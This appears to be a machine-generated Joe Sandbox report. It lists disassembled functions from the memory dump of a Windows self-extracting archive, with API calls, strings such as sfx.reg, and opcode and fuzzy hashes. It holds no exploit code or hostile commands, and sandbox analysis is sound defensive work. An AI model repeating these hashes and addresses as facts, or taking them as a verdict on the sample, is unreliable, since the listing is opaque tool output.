Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db8a845b5d399e9ea96f1f6de174d1de5c3e1dcbb5d88029b34ccc4f98f28935
Instruction ID: 67324edb02ebf1a5a8cc0e2fe45c55d826727425c9eefc4266435a68d77db205
Opcode Fuzzy Hash: db8a845b5d399e9ea96f1f6de174d1de5c3e1dcbb5d88029b34ccc4f98f28935
Instruction Fuzzy Hash: 9B414CB7B20904479B5CC529ECB623D3293EBCA311BC5D23EDB0F86295D73E48508217

Function 00217ADE Relevance: .1, Instructions: 128COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf026345308e1978ce5d0254964706abc4194266ca72681d6dcb911615d6cb78
Instruction ID: e57340ad41ea13c9d7052a7619092241b6c5d67b92d20b61acfe602954bce00c
Opcode Fuzzy Hash: cf026345308e1978ce5d0254964706abc4194266ca72681d6dcb911615d6cb78
Instruction Fuzzy Hash: 25312532F2C4665FCB11CE6C88802A8FBF2ABE5358715C665D8A5D7240D770EEA1C3D0

Function 002130A0 Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b5af437fc38d01459a44d5f6f12d05c2381e7f16825441c3b1c4813ef3ca91b9
Instruction ID: f2ec2b224f58ddc27674faca4b4c52e87951eeafe96511c799cfed1229881690
Opcode Fuzzy Hash: b5af437fc38d01459a44d5f6f12d05c2381e7f16825441c3b1c4813ef3ca91b9
Instruction Fuzzy Hash: 3731D2717243065BD610DF29D8427ABB3D6FFD9310F044A1DF89997180EB21ED558A92

Function 00218BEC Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eff2c197b14432675c610be2a8a7a96fcb44c2ebb1baa81610379e931af77a57
Instruction ID: 0079571e17d81f5667f6d9cadc82485fafbabee14af98ee874776ee0e1f0a2cf
Opcode Fuzzy Hash: eff2c197b14432675c610be2a8a7a96fcb44c2ebb1baa81610379e931af77a57
Instruction Fuzzy Hash: 3B312871A100745BCB08CF1DC8904BDBFE5EBA510134882ABECD6DB245D634CA82C7A0

Function 0022DD1B Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1ea83334c1e98586e875d0820215f4ccb4d4763d89a5a125069a5872052cfc15
Instruction ID: edf95ae2514e868e58a050c022e99416684164bf70df39a36b11e256b3ac618a
Opcode Fuzzy Hash: 1ea83334c1e98586e875d0820215f4ccb4d4763d89a5a125069a5872052cfc15
Instruction Fuzzy Hash: 2F21F9735209365BC702DF5DF488677B3E1FFD5319FA78A26D98187180C624E824D690

Function 001E1B00 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db809e192cf19f0a24ea19e6bd7e2f75457c2a87470eea816a6da0ccbcf2e07b
Instruction ID: 6a851bcdadc488821aa74cd2659a8ff4793d596b855de7fa0fee7a6c1003e902
Opcode Fuzzy Hash: db809e192cf19f0a24ea19e6bd7e2f75457c2a87470eea816a6da0ccbcf2e07b
Instruction Fuzzy Hash: 5B01D1327083525FC700CE3DA94079AFBFAEB95364F154678E40AC3205E3719D158790

Function 001E1A90 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c5e3e38637a171c2a56c8a3f52807821598aabae375b0d0ad3d56284ee6ba30c
Instruction ID: 8b8f09e05ff2fd414f8061562577387390c71cef8d4becc895e697f8c1a12e31
Opcode Fuzzy Hash: c5e3e38637a171c2a56c8a3f52807821598aabae375b0d0ad3d56284ee6ba30c
Instruction Fuzzy Hash: E1F0B4322057925FD300CE2AE64066AFBE9EBD6268F114564E00AC3205C3719D00CBD0

Function 001E1D80 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: __onexit
String ID:
API String ID: 1448380652-0
Opcode ID: 1e2ca840ba5ad3c5f68825b14498f01676d99d2d95d3c54a3f31bc9d32ee17c9
Instruction ID: cceb0250c66f075b0a598f0768a96b49e4ada921adf3f2bb94435b277e80e83b
Opcode Fuzzy Hash: 1e2ca840ba5ad3c5f68825b14498f01676d99d2d95d3c54a3f31bc9d32ee17c9
Instruction Fuzzy Hash: 19E092B1944688FBCB00DF94ED42B55B7B8E706B20F10437AE825D3BD0DB355510CA41

Function 001E18A0 Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b02d106da9eb3450db7f3991f867e74de4bf2bc5e6de34d14924ed1c86e68bfa
Instruction ID: 8f88ce855dd97581c73b8d33fad287ac82808d06e83ef3ccf6d0e7633370f938
Opcode Fuzzy Hash: b02d106da9eb3450db7f3991f867e74de4bf2bc5e6de34d14924ed1c86e68bfa
Instruction Fuzzy Hash: 9AB012395015004FA706CE29EC228A132B273D3300776C4A4D01345014D73A9001C500

Function 001E4C00 Relevance: 38.7, APIs: 14, Strings: 8, Instructions: 230libraryloadersynchronizationCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 001E4C0A

Part of subcall function 001E248D: _wcslen.LIBCMT ref: 001E24AD
Part of subcall function 001E248D: _wcslen.LIBCMT ref: 001E24C8

Part of subcall function 001F7C90: DeleteFileW.KERNEL32(?,1FE05385,?,?,00000000), ref: 001F7CC8

_wcslen.LIBCMT ref: 001E4D25
_wcslen.LIBCMT ref: 001E4D3B
_wcslen.LIBCMT ref: 001E4D57
_wcslen.LIBCMT ref: 001E4D68
LoadLibraryW.KERNEL32(Kernel32.dll,00239840,00000000,?,00000000,00239840,00000000,/s ,00000000,?,00000000,00000002,00000000,0000FEFF,00000002,?), ref: 001E4D8B
GetProcAddress.KERNEL32(00000000,GetCurrentProcess), ref: 001E4DAD
GetProcAddress.KERNEL32(00000000,IsWow64Process), ref: 001E4DBB
GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 001E4E03
GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 001E4E11
ShellExecuteExW.SHELL32(0000003C), ref: 001E4EBB
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 001E4EDB
CloseHandle.KERNEL32(00000000), ref: 001E4EE7
FreeLibrary.KERNEL32(00000000), ref: 001E4F07

Strings

<, xrefs: 001E4E69
sfx.reg, xrefs: 001E4C55
Wow64RevertWow64FsRedirection, xrefs: 001E4E05
IsWow64Process, xrefs: 001E4DAF
Kernel32.dll, xrefs: 001E4D80
/s , xrefs: 001E4D1F, 001E4D24, 001E4D2C
GetCurrentProcess, xrefs: 001E4DA1
Wow64DisableWow64FsRedirection, xrefs: 001E4DFD

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: _wcslen$AddressProc$Library$CloseDeleteExecuteFileFreeH_prolog3_HandleLoadObjectShellSingleWait
String ID: /s $<$GetCurrentProcess$IsWow64Process$Kernel32.dll$Wow64DisableWow64FsRedirection$Wow64RevertWow64FsRedirection$sfx.reg
API String ID: 3463751511-1334933446
Opcode ID: eae78940282047d569e9e09f25ce69c647f06d20b2a1f587d281a06ff75abe2b
Instruction ID: 32691dbbb7784937c124b48132893658af4c70f6fe710a451b3c3456b6ea0de5
Opcode Fuzzy Hash: eae78940282047d569e9e09f25ce69c647f06d20b2a1f587d281a06ff75abe2b
Instruction Fuzzy Hash: 949179719102689FDB24EF65CC95BEEB7B9BF15300F0001A9E50AB7291EB709E85CF61

Function 001EA6C8 Relevance: 28.8, APIs: 19, Instructions: 291windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003EC), ref: 001EA704
GetDlgItem.USER32(?,000003EB), ref: 001EA710
SetWindowTextW.USER32(00000000,002397B8), ref: 001EA786
_wcslen.LIBCMT ref: 001EA7AA
_wcslen.LIBCMT ref: 001EA7ED
_wcslen.LIBCMT ref: 001EA871
GetLastError.KERNEL32(0023983C,00000000,?,?,?,000027FD), ref: 001EA884
_wcslen.LIBCMT ref: 001EA8CC
SetWindowTextW.USER32(00000000,002397B8), ref: 001EA8E5
SendMessageW.USER32(00000000,000000C2,00000000,?), ref: 001EA907
_wcslen.LIBCMT ref: 001EA9B6
GetLastError.KERNEL32(0023983C,00000000,?,?,?,000027FE,?,?,?), ref: 001EA9C9
_wcslen.LIBCMT ref: 001EAA05
SetWindowTextW.USER32(00000000,002397B8), ref: 001EAA1E
SendMessageW.USER32(00000000,000000C2,00000000,?), ref: 001EAA40
GetWindowTextW.USER32(00000000,?,00000104), ref: 001EA729

Part of subcall function 001E1FBC: _wcslen.LIBCMT ref: 001E1FD5

Part of subcall function 001EC180: _wcschr.LIBVCRUNTIME ref: 001EC1B5

Part of subcall function 001EC210: _wcschr.LIBVCRUNTIME ref: 001EC25C

SetWindowTextW.USER32(00000000,002397B8), ref: 001EAABF
_wcslen.LIBCMT ref: 001EAAE3
SendMessageW.USER32(00000000,000000C2,00000000,?), ref: 001EAB13

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: _wcslen$TextWindow$MessageSend$ErrorItemLast_wcschr
String ID:
API String ID: 190027150-0
Opcode ID: fa206438e109a9affb6c2c03656b360b5fe3604b1ce703a8dd270d043efe655e
Instruction ID: b523fa4817f6e3ac09c479fad2d4dffb902238fa0ef8298ee2fd1f8ee5e7fbe8
Opcode Fuzzy Hash: fa206438e109a9affb6c2c03656b360b5fe3604b1ce703a8dd270d043efe655e
Instruction Fuzzy Hash: 35B14A719106689BCB24EB61DDADAEEB3B8AF61700F4001E9F509A7091DF346F85CF61

Function 0021B6FB Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 81COMMON

Download Yara Rule

APIs

__scrt_initialize_thread_safe_statics_platform_specific.LIBCMT ref: 0021B6FB

Part of subcall function 0021B722: InitializeCriticalSectionAndSpinCount.KERNEL32(00249220,00000FA0,1FE05385,?,?,?,?,0022F522,000000FF), ref: 0021B751
Part of subcall function 0021B722: GetModuleHandleW.KERNEL32(api-ms-win-core-synch-l1-2-0.dll,?,?,?,?,0022F522,000000FF), ref: 0021B75C
Part of subcall function 0021B722: GetModuleHandleW.KERNEL32(kernel32.dll,?,?,?,?,0022F522,000000FF), ref: 0021B76D
Part of subcall function 0021B722: GetProcAddress.KERNEL32(00000000,InitializeConditionVariable), ref: 0021B783
Part of subcall function 0021B722: GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 0021B791
Part of subcall function 0021B722: GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 0021B79F
Part of subcall function 0021B722: __crt_fast_encode_pointer.LIBVCRUNTIME ref: 0021B7CA
Part of subcall function 0021B722: __crt_fast_encode_pointer.LIBVCRUNTIME ref: 0021B7D5

___scrt_fastfail.LIBCMT ref: 0021B71C

Part of subcall function 0021B473: __onexit.LIBCMT ref: 0021B479

Strings

api-ms-win-core-synch-l1-2-0.dll, xrefs: 0021B757
WakeAllConditionVariable, xrefs: 0021B797
kernel32.dll, xrefs: 0021B768
SleepConditionVariableCS, xrefs: 0021B789
InitializeConditionVariable, xrefs: 0021B77D

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: AddressProc$HandleModule__crt_fast_encode_pointer$CountCriticalInitializeSectionSpin___scrt_fastfail__onexit__scrt_initialize_thread_safe_statics_platform_specific
String ID: InitializeConditionVariable$SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 66158676-1714406822
Opcode ID: 4605a7b032ffe6cadc486b8e658e9994504fc76693e272bb5fd9ad4b16732255
Instruction ID: c32ebfe940c650ff36444c513667266f6eff0767103e848ab351716aebc5d8d1
Opcode Fuzzy Hash: 4605a7b032ffe6cadc486b8e658e9994504fc76693e272bb5fd9ad4b16732255
Instruction Fuzzy Hash: 96212937A64211BBC3175F74BC9EB9AB7F8DB56B50F114126FD01D62C0DBB088608A70

Function 00226439 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 0022647D

Part of subcall function 00225FD3: _free.LIBCMT ref: 00225FF0
Part of subcall function 00225FD3: _free.LIBCMT ref: 00226002
Part of subcall function 00225FD3: _free.LIBCMT ref: 00226014
Part of subcall function 00225FD3: _free.LIBCMT ref: 00226026
Part of subcall function 00225FD3: _free.LIBCMT ref: 00226038
Part of subcall function 00225FD3: _free.LIBCMT ref: 0022604A
Part of subcall function 00225FD3: _free.LIBCMT ref: 0022605C
Part of subcall function 00225FD3: _free.LIBCMT ref: 0022606E
Part of subcall function 00225FD3: _free.LIBCMT ref: 00226080
Part of subcall function 00225FD3: _free.LIBCMT ref: 00226092
Part of subcall function 00225FD3: _free.LIBCMT ref: 002260A4
Part of subcall function 00225FD3: _free.LIBCMT ref: 002260B6
Part of subcall function 00225FD3: _free.LIBCMT ref: 002260C8

_free.LIBCMT ref: 00226472

Part of subcall function 00223185: RtlFreeHeap.NTDLL(00000000,00000000,?,00226168,?,00000000,?,00000000,?,0022618F,?,00000007,?,?,002265D1,?), ref: 0022319B
Part of subcall function 00223185: GetLastError.KERNEL32(?,?,00226168,?,00000000,?,00000000,?,0022618F,?,00000007,?,?,002265D1,?,?), ref: 002231AD

_free.LIBCMT ref: 00226494
_free.LIBCMT ref: 002264A9
_free.LIBCMT ref: 002264B4
_free.LIBCMT ref: 002264D6
_free.LIBCMT ref: 002264E9
_free.LIBCMT ref: 002264F7
_free.LIBCMT ref: 00226502
_free.LIBCMT ref: 0022653A
_free.LIBCMT ref: 00226541
_free.LIBCMT ref: 0022655E
_free.LIBCMT ref: 00226576

Strings

8a$, xrefs: 00226525

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID: 8a$
API String ID: 161543041-2514277133
Opcode ID: 10f8e5a74b103a48317210038ce12ded2fe30193b1d35556c11d1f33bc172f6a
Instruction ID: 2e943da539b9be7e2d5613ebe4a720a16362a9534cd79f1d906845a0c8f1c6f0
Opcode Fuzzy Hash: 10f8e5a74b103a48317210038ce12ded2fe30193b1d35556c11d1f33bc172f6a
Instruction Fuzzy Hash: C6314E32520622BEEB31AEB8E849B5673E9EF40310F904519F489D6151DE39ED71CA14

Function 001E8B6E Relevance: 24.3, APIs: 16, Instructions: 299windowCOMMON

Download Yara Rule

APIs

Part of subcall function 001E5472: GetSystemMetrics.USER32(00000000), ref: 001E548F
Part of subcall function 001E5472: GetSystemMetrics.USER32(00000001), ref: 001E5495
Part of subcall function 001E5472: GetWindowRect.USER32(?,?), ref: 001E54A1
Part of subcall function 001E5472: SetWindowPos.USER32(?,000000FE,?,?,00000001,?,?,?,?,?,?,?,001E4F63,00000001), ref: 001E54E8

GetDlgItem.USER32(?,000003FA), ref: 001E8BBA
SetWindowTextW.USER32(00000000,00000000), ref: 001E8BD5
GetDlgItem.USER32(?,000003FD), ref: 001E8BDF
_wcslen.LIBCMT ref: 001E8C3B
SetWindowTextW.USER32(?,?), ref: 001E8C9E
GetDlgItem.USER32(?,000003FE), ref: 001E8CA8
_wcslen.LIBCMT ref: 001E8D04
SetWindowTextW.USER32(?,?), ref: 001E8D67
GetDlgItem.USER32(?,000003F2), ref: 001E8D71
SetWindowTextW.USER32(?,?), ref: 001E8E21
GetDlgItem.USER32(?,000003F3), ref: 001E8E2B
SetWindowTextW.USER32(00000000,?), ref: 001E8ED6

Part of subcall function 001E8B17: SHGetFileInfoW.SHELL32(?,00000000,?,000002B4,00000100), ref: 001E8B4C

GetDlgItem.USER32(?,000003FB), ref: 001E8EF4
SendMessageW.USER32(00000000,00000170,00000000,00000000), ref: 001E8F0B
GetDlgItem.USER32(?,000003FC), ref: 001E8F15
SendMessageW.USER32(00000000,00000170,00000000,00000000), ref: 001E8F26

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: ItemWindow$Text$MessageMetricsSendSystem_wcslen$FileInfoRect
String ID:
API String ID: 386344580-0
Opcode ID: 27aa12b561fb5a12bae3d178d550e247b25b5e1b88e65ff0daa71f2a64d49b2c
Instruction ID: b5eb9fa336629c49037690fda6b661e28ad8d79a213e2ff8c3e7d212010cff2e
Opcode Fuzzy Hash: 27aa12b561fb5a12bae3d178d550e247b25b5e1b88e65ff0daa71f2a64d49b2c
Instruction Fuzzy Hash: 8BB129712087459FCB15EF66DD96D6FB3E9AFA4B00F40092DF185960A1DF70E909CB22

Function 00213346 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 327COMMON

Download Yara Rule

Strings

bz2, xrefs: 002135FC
.001, xrefs: 0021352F
tar, xrefs: 0021369D
zip, xrefs: 002134FD, 002135A4
rar, xrefs: 00213495
bzip2, xrefs: 00213614
part, xrefs: 002134EA
gzip, xrefs: 002135E4
haozip, xrefs: 002136DF

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
